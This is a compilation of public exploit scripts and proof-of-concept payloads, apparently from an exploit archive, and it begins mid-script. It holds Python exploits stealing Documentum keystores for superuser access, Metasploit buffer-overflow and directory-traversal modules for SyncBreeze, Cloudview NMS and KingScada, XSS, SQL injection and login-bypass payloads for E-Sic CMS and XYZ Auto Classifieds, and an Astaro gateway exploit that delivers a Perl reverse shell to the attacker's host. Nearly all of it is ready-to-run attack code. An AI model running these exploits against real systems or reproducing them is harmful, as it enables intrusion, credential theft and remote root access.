session.apply(None, NULL_ID, "BEGIN_TRANS")
if method_content is not None:
print "Removing method's content"
remove = TypedObject(session=session)
remove.set_string("OBJECT_TYPE", "dmr_content")
remove.set_int("i_vstamp", method_content['i_vstamp'])
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)
if obj != True:
print "Failed to remove method's content, exiting"
end_tran(session, False)
exit(1)
print "method's content has been successfully removed"
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
b = bytearray()
b.extend(new_content)
if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
print "Creating malicious dmr_content object"
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_id("parent_id", method_object['r_object_id'])
content.set_int("page", 0)
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
if not session.save_cont_attrs(method_object['i_contents_id'], content):
print "Failed to create content"
end_tran(session, False)
exit(1)
print "Malicious dmr_content object has been successfully created"
end_tran(session, True)
print "Becoming superuser..."
method = TypedObject(session=session)
method.set_string("METHOD", method_object['object_name'])
method.set_string("ARGUMENTS", "%s %s %s" % (
session.docbaseconfig['object_name'],
session.serverconfig['r_install_owner'],
sys.argv[3]))
session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method)
r = session.query(
"SELECT user_privileges FROM dm_user "
"WHERE user_name=USER") \
.next_record()[
'user_privileges']
if r != 16:
print "Failed"
exit(1)
print "P0wned!"
def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)
def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# does not properly validate input of PUT_FILE RPC-command which allows any
# authenticated user to hijack arbitrary file from Content Server filesystem,
# because some files on Content Server filesystem are security-sensitive
# the security flaw described above leads to privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15012.py
# usage:
# CVE-2017-15012.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15012.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!
#
#
import socket
import sys
from os.path import basename
from dctmpy.docbaseclient import DocbaseClient, NULL_ID
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n\t%s host port user password" % basename(sys.argv[0])
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)
for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break
if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)
keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))
if not keystore:
print "Unable to download dfc.keystore"
exit(1)
(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"
def download(session, path, buf):
print "Downloading %s" % path
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
store = session.get_by_qualification("dm_filestore")
format = session.get_by_qualification("dm_format")
remote_path = "common=/../../../../../../../../../..%s=Directory" % path
result = session.put_file(store.object_id(), remote_path, format.object_id())
full_size = result['FULL_CONTENT_SIZE']
ticket = result['D_TICKET']
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", store.object_id())
obj.set_id("format", format.object_id())
obj.set_int("data_ticket", ticket)
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
raise RuntimeError("Unable to save content object")
handle = session.make_puller(
NULL_ID, store.object_id(), content_id,
format.object_id(), ticket
)
if handle == 0:
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
return buf
def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification(
"dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server allows to upload content using batches (TAR archives), when unpacking
# TAR archives Content Server fails to verify contents of TAR archive which
# causes path traversal vulnerability via symlinks, because some files on Content Server
# filesystem are security-sensitive the security flaw described above leads to
# privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15276.py
# usage:
# OTDocumentumTarVulnerability.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Creating malicious dmr_content object
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Creating malicious dmr_content object
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!
import io
import socket
import sys
import tarfile
from dctmpy import NULL_ID
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)
for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break
if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)
keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))
if not keystore:
print "Unable to download dfc.keystore"
exit(1)
(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"
def download(session, path, buf):
print "Downloading %s" % path
store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")
print "Creating malicious dmr_content object"
session.apply(None, NULL_ID, "BEGIN_TRANS")
handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)
(bytes, length) = create_tar("test", path)
b = bytearray()
b.extend(bytes.read())
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
content_id = session.next_id(0x06)
if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)
session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_int("page", 0)
content.set_string("page_modifier", "dm_batch")
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
content.set_bool("BATCH_FLAG", True)
content.set_bool("IS_ADDRENDITION", True)
content.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
end_tran(session, False)
exit(1)
content = session.get_by_qualification(
"dmr_content WHERE any (parent_id='%s' "
"AND page_modifier='%s')" % (object_id, "vuln"))
handle = session.make_puller(
NULL_ID, store.object_id(), content['r_object_id'],
format.object_id(), data_ticket
)
if handle == 0:
end_tran(session, False)
raise RuntimeError("Unable make puller")
for chunk in session.download(handle):
buf.extend(chunk)
end_tran(session, False)
return buf
def create_tar(linkname, linkpath):
bytes = io.BytesIO()
tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
add_link(tar, linkname, linkpath)
text = io.BytesIO()
text.write("file_name='%s'\n" % linkname)
text.write("page_modifier='vuln'\n")
text.write("parameters=''\n")
tarinfo = tarfile.TarInfo("property.txt")
tarinfo.size = text.tell()
text.seek(0)
tar.addfile(tarinfo, text)
tar.close()
length = bytes.tell()
bytes.seek(0)
return (bytes, length)
def add_link(tar, linkname, linkpath):
tarinfo = tarfile.TarInfo(linkname)
tarinfo.type = tarfile.SYMTYPE
tarinfo.linkpath = linkpath
tarinfo.name = linkname
tar.addfile(tarinfo=tarinfo)
def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)
if __name__ == '__main__':
main()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SyncBreeze v10.1.16 SEH GET Overflow',
'Description' => %q{
There exists an unauthenticated SEH based vulnerability in the HTTP
server of Sync Breeze Enterprise v10.1.16, when sending a GET request
with an excessive length it is possible for a malicious user to overwrite the
SEH record and execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.
The SEH record is overwritten with a "POP,POP,RET" pointer from the application
library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and
10 (x86->x64). It should work against all versions of Windows and service packs.
},
'Author' => 'wetw0rk',
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 800,
'EncoderType' => "alpha_upper",
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP/7/10 (SyncBreez Enterprise v10.1.16)',
{ 'Ret' => 0x1001C65C,
'Offset' => 2495
}]
],
'DisclosureDate' => 'October 11 2017',
'DefaultTarget' => 0))
register_options([Opt::RPORT(80)])
end
def exploit
connect
print_status("Trying #{target.name}")
# Make the JMP to the payload, else JMP into the A's acting as NOP's
# Using AlphaNum technique learned from Mut's in OSCE (aka a legend)
jumpcode = "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode << "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode << "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode << "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode << "\x50" # push eax
jumpcode << "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode << "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode << "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode << "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode << "\x50" # push eax
jumpcode << "\xff\xe4" # jmp esp
# greetz to kluo, and abatchy17
sploit = payload.encoded
sploit << 'A' * (target['Offset'] - payload.encoded.length)
sploit << "\x74\x06\x75\x06"
sploit << [target.ret].pack('V')
sploit << jumpcode
sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))
send_request_cgi(
'uri' => '/' + sploit,
'method' => 'GET',
'host' => '4.2.2.2',
'connection' => 'keep-alive'
)
handler
disconnect
end
end
# Exploit Title: E-Sic Software livre CMS - Cross Site Scripting#
Date: 12/10/2017# Exploit Author: Elber Tavares
# fireshellsecurity.team/
# Vendor Homepage: https://softwarepublico.gov.br/# Version: 1.0#
Tested on: kali linux, windows 7, 8.1, 10 - Firefox# Download
https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations:
http://whiteboyz.xyz/esic-software-publico-xss.html
O XSS está presente na área de cadastro de solicitante,
onde é possivel injetar códigos pelo input que recebe o nome do usuário
---------------------------------------------------------------------
Url: http://localhost/esic/index/
POST: http://localhost/cadastro/index.php
DATA:
DATA: tipopessoa=F&nome=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&
cpfcnpj=CPFAQUI&idfaixaetaria=&idescolaridade=&profissao=&
idtipotelefone=&dddtelefone=&telefone=&email=aaaaa%40gmail.com&
confirmeemail=aaaaa%40gmail.com&idlogradouro=&cep=&logradouro=&bairro=&cidade=&
uf=&numero=&complemento=&acao=Salvar
# Exploit Title: E-Sic Software livre CMS - Sql Injection
# Date: 12/10/2017
# Exploit Author: Elber Tavares
# fireshellsecurity.team/
# Vendor Homepage: https://softwarepublico.gov.br/
# Version: 1.0
# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
# Download
https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations:
http://whiteboyz.xyz/esic-software-publico-sql-injection.html
Vulnerability is in the zip code search script
---------------------------------------------------------------------
Url: http://localhost/esiclivre/restrito/inc/buscacep.php
DATA:
Parameter: f (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: f=-1932' OR 5987=5987 AND 'dtev'='dtev
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: f=test' OR SLEEP(5) AND 'kucr'='kucr
Type: UNION query
Title: MySQL UNION query (random number) - 6 columns
Payload: f=test' UNION ALL SELECT 3344,3344,
CONCAT(0x7162627a71,0x54657946565941494562654c437570647a4f4e53616744546e526663454152424e71506e564d6853,0x71786a6a71),
3344,3344,3344#
# Exploit Title: E-Sic Software livre CMS - Sql Injection
# Date: 12/10/2017
# Exploit Author: Elber Tavares
# fireshellsecurity.team/
# Vendor Homepage: https://softwarepublico.gov.br/
# Version: 1.0
# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
# Download: https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations:
http://whiteboyz.xyz/esic-software-publico-sql-injection.html
vulnerability is in the password reset parameter of the software,
where we can send sql parameters and interact directly with the
database. "Informe seu CPF ou CNPJ para enviarmos nova senha:"
---------------------------------------------------------------------
Url: http://vulnerablesite/esic/reset/
POST: cpfcnpj=test&btsub=Enviar
Parameter: cpfcnpj (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: cpfcnpj=test' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT
('qbqqq','HMDStbPURehioEoBDmsawJnddTBZoNxMrwIeJWFR'),'qzbpq'),NULL,NULL--
GJkR&btsub=Enviar
# Exploit Title: E-Sic Software livre CMS - Autentication Bypass#
Date: 12/10/2017# Exploit Author: Elber Tavares# Vendor Homepage:
https://softwarepublico.gov.br/# Version: 1.0# Tested on: kali linux,
windows 7, 8.1, 10 - Firefox# Download
https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations:
http://whiteboyz.xyz/esic-software-publico-autentication-bypass.html
The vulnerability is in the login area of e-sic,
where we can enter the panel only using some parameters such as
username and password
---------------------------------------------------------------------
PoC:
Url: http://vulnsite/esic/index/ User: '=''or' Pass: '=''or'
POST: http://vulnsite/esic/index/index.php
DATA: login=%27%3D%27%27or%27&password=%27%3D%27%27or%27&btsub=Entrar
# Exploit Title: E-Sic Software livre CMS - Blind SQL Injection
# Date: 12/10/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://softwarepublico.gov.br/
# Version: 1.0
# Tested on: kali linux, windows 7, 8.1, 10 - Firefox
# Download https://softwarepublico.gov.br/social/e-sic-livre/versoes-estaveis/esiclivre.rar
More informations: https://k33r0k.wordpress.com/2017/10/12/e-sic-sql-injection/#more-398
The vulnerability is in the search private area of e-sic without authentication
---------------------------------------------------------------------
Poc:
Url: http://vulnerable/esiclivre/restrito/inc/lkpcep.php?q=1
Parameter: q (GET)
Payload: 1' AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT DISTINCT(HEX(IFNULL(CAST(schema_name AS CHAR),0x20))) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 13,1),11,1))>1,0,5)))))oslN)-- UACx
sqlmap -v 5 -u "http://localhost/esiclivre/restrito/inc/lkpcep.php?q=1" --level 5 --random-agent --hex --dbs
#!/usr/bin/python
# Astaro Security Gateway v7 - Unauthenticated Remote Code Execution
# Exploit Authors: Jakub Palaczynski and Maciej Grabiec
# Tested on versions: 7.500 and 7.506
# Date: 13.12.2016
# Vendor Homepage: https://www.sophos.com/
# CVE: CVE-2017-6315
import socket
import sys
import os
import threading
import subprocess
import time
# print help or assign arguments
if len(sys.argv) != 3:
sys.stderr.write("[-]Usage: python %s <our_ip> <remote_ip:port>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 192.168.1.1 192.168.1.2:4444\n" % sys.argv[0])
sys.exit(1)
lhost = sys.argv[1] # our ip address
rhost = sys.argv[2] # ip address and port of vulnerable ASG v7
# for additional thread to send requests in parallel
class requests (threading.Thread):
def run(self):
print 'Sending requests to trigger vulnerability.'
time.sleep(5)
# first request to clear cache
os.system('curl -s -m 5 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':81"}\' -k > /dev/null')
# second request to trigger reverse connection
os.system('curl -s -m 20 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':80"}\' -k > /dev/null')
# function that creates socket
def create_socket(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', port))
sock.listen(10)
conn, addr = sock.accept()
return sock, conn, addr
# function to receive data from socket
def receive(conn):
sys.stdout.write(conn.recv(1024))
sys.stdout.flush()
sys.stdout.write(conn.recv(1024))
sys.stdout.flush()
# Thanks to Agarri: http://www.agarri.fr/docs/PoC_thaw_perl58.pl
# This script creates serialized object that makes reverse connection and executes everything what it receives on a socket
file = """
#!/usr/bin/perl
use strict;
use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );
use LWP::UserAgent;
my $package_name = "A" x 252;
my $pack = qq~{ package $package_name; sub STORABLE_freeze { return 1; } }~;
eval($pack);
my $payload = qq~POSIX;eval('sleep(10);use IO::Socket::INET;\$r=IO::Socket::INET->new(\"""" + lhost + """:443");if (\$r) {eval(<\$r>);}');exit;~;
my $padding = length($package_name) - length($payload);
$payload = $payload . (";" x $padding);
my $data = bless { ignore => 'this' }, $package_name;
my $frozen = nfreeze($data);
$frozen =~ s/$package_name/$payload/g;
my $encodedSize = length($frozen);
my $pakiet = print(pack("N", $encodedSize), $frozen);
print "$frozen";
"""
# save file, run perl script and save our serialized payload
f = open("payload.pl", "w")
f.write(file)
f.close()
serialized = os.popen("perl ./payload.pl").read()
os.remove("./payload.pl")
# start thread that sends requests
thread = requests()
thread.start()
# open socket that receives connection from index
sock, conn, addr = create_socket(80)
print 'Received connection from: ' + addr[0] + ':' + str(addr[1]) + '.'
print 'Sending 1st stage payload.'
data = conn.recv(256)
# say hello to RPC client
conn.sendall(data)
data = conn.recv(256)
# send serialized object that initiates connect back connection and executes everything what it receives on a socket
conn.sendall(serialized)
sock.close()
# create second socket that receives connection from index and sends additional commands
sock, conn, addr = create_socket(443)
print 'Sending 2nd stage payload.'
# send commands that exploit confd (running with root permissions) which is running on localhost - the same exploitation as for first stage
conn.sendall('sleep(10);use IO::Socket::INET;my $s = new IO::Socket::INET(PeerHost => "127.0.0.1",PeerPort => "4472",Proto => "tcp");$s->send("\\x00\\x00\\x00\\x1d\\x05\\x06\\x02\\x00\\x00\\x00\\x04\\x0a\\x04\\x70\\x72\\x70\\x63\\x0a\\x04\\x30\\x2e\\x30\\x31\\x0a\\x06\\x73\\x79\\x73\\x74\\x65\\x6d\\x0a\\x00");my $a;$s->recv($a,1024);$s->send("' + "\\x" + "\\x".join("{:02x}".format(ord(c)) for c in serialized) + '");$s->recv($a,1024);$s->close();\n')
sock.close()
# create socket that receives connection from confd and sends commands to get reverse shell
sock, conn, addr = create_socket(443)
print 'Sending 3rd stage payload.'
# send reverse shell payload
conn.sendall('sleep(20);use Socket;$i="' + lhost + '";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\n')
sock.close()
# create socket to receive shell with root permissions
print '\nNow you need to wait for shell.'
sock, conn, addr = create_socket(443)
receive(conn)
while True:
cmd = raw_input("")
if cmd == 'exit':
break
else:
conn.send(cmd + "\n")
receive(conn)
sock.close()
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::TFTP
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})
super(update_info(info,
'Name' => "Cloudview NMS 2.00b Writable Directory Traversal Execution",
'Description' => %q{
This module exploits a vulnerability found in Cloudview NMS server. The
software contains a directory traversal vulnerability that allows a remote
attacker to write arbitrary file to the file system, which results in
code execution under the context 'SYSTEM'.
},
'License' => MSF_LICENSE,
'Author' => [ 'james fitts' ],
'References' =>
[
['URL', '0day']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'win',
'Targets' =>
[
[ ' Cloudview NMS 2.00b on Windows', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 13 2014",
'DefaultTarget' => 0))
register_options([
OptInt.new('DEPTH', [ false, "Levels to reach base directory", 5 ]),
OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]),
OptPort.new('RPORT', [ true, "The remote TFTP server port", 69 ])
], self.class)
end
def upload(filename, data)
tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => "0.0.0.0",
"LocalPort" => 1025 + rand(0xffff-1025),
"PeerHost" => datastore['RHOST'],
"PeerPort" => datastore['RPORT'],
"LocalFile" => "DATA:#{data}",
"RemoteFile" => filename,
"Mode" => "octet",
"Context" => {'Msf' => self.framework, "MsfExploit" => self },
"Action" => :upload
)
ret = tftp_client.send_write_request { |msg| print_status(msg) }
while not tftp_client.complete
select(nil, nil, nil, 1)
tftp_client.stop
end
end
def exploit
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "../" * depth
print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
select(nil, nil, nil, 1)
print_status("#{peer} - Uploading .mof...")
upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
end
end
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'KingScada AlarmServer Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in
KingScada < 3.1.2.13. The vulnerability is triggered when
sending a specially crafted packet to the 'AlarmServer'
(AEserver.exe) service listening on port 12401. During the
parsing of the packet the 3rd dword is used as a size value
for a memcpy operation which leads to an overflown stack buffer
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-0787' ],
[ 'ZDI', '14-071' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4',
{
# dbghelp.dll
# pop esi/ pop edi/ retn
'ret' => 0x02881fbf,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10, 2014'))
register_options([Opt::RPORT(12401)], self.class)
end
def exploit
connect
p = payload.encoded
buf = make_nops(5000)
buf[0, 4] = [0x000004d2].pack('V')
buf[4, 4] = [0x0000007b].pack('V')
buf[8, 4] = [0x0000133c].pack('V') # size for memcpy()
buf[1128, p.length] = p
buf[2128, 8] = generate_seh_record(target['ret'])
buf[2136, 5] = "\xe9\x4b\xfb\xff\xff" # jmp $-1200
print_status("Trying target #{target.name}...")
sock.put(buf)
handler
disconnect
end
end
# Exploit Title: XYZ Auto Classifieds v1.0 - SQL Injection
# Date: 2017-09-12
# Exploit Author: 8bitsec
# Vendor Homepage: http://xyzscripts.com/
# Software Link: https://xyzscripts.com/php-scripts/xyz-auto-classifieds/details
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-09-12
Product & Service Introduction:
===============================
XYZ Auto Classifieds is a simple and robust PHP + MySQL based auto classifieds script with all options required to start your own auto classifieds site like cars.com.
Technical Details & Description:
================================
SQL injection on [view] URI parameter.
Proof of Concept (PoC):
=======================
SQLi:
http://localhost/[path]/xyz-auto-classifieds/item/view/13 and sleep(5)
==================
8bitsec - [https://twitter.com/_8bitsec]